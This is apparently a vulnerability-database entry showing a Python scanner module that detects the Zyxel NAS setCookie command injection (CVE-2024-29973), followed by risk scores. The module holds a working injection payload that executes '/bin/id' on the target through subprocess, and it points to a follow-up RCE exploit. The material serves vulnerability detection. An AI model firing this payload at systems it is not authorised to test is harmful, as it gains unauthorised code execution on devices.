Zyxel NAS - setCookie Command Injection Detection (CVE-2024-29973)
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Zyxel NAS setCookie command injection (CVE-2024-29973 family)."""
import re
import secrets
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Zyxel NAS - setCookie Command Injection Detection (CVE-2024-29973)',
'description': (
'Detects Zyxel NAS command injection via multipart POST to '
'/cmd,/simZysh/register_main/setCookie (CVE-2024-29973 and related Jun 2024 issues).'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'cve', 'cve2024', 'zyxel', 'nas', 'rce', 'cmdi',
'unauth', 'kev', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'risk_signal', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['exploits/linux/http/zyxel_cve_2024_29973_rce'],
},
},
'references': [
'https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-vulnerabilities-in-nas-products-06-04-2024',
'https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/',
'https://nvd.nist.gov/vuln/detail/CVE-2024-29973',
],
'cve': 'CVE-2024-29973',
}
def run(self):
bound = secrets.token_hex(8)
path = '/cmd,/simZysh/register_main/setCookie'
data = (
f'--{bound}\r\n'
f'Content-Disposition: form-data; name="c0"\r\n\r\n'
'storage_ext_cgi CGIGetExtStoInfo None) and False or '
'__import__("subprocess").check_output('
'"/usr/local/apache/web_framework/bin/executer_su /bin/id", shell=True)#\r\n'
f'--{bound}--\r\n'
)
r = self.http_request(
method='POST',
path=path,
data=data,
headers={'Content-Type': f'multipart/form-data; boundary={bound}'},
allow_redirects=False,
)
if not r:
return False
body = r.text or ''
if re.search(r'uid=\d+', body):
self.set_info(
severity='critical',
reason='Zyxel NAS CVE-2024-29973 setCookie command injection confirmed',
path=path,
)
return True
return False
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10 Aug 2026 06:19Current
8.7High risk
Vulners AI Score8.7
CVSS 3.19.8
EPSS0.86089
SSVC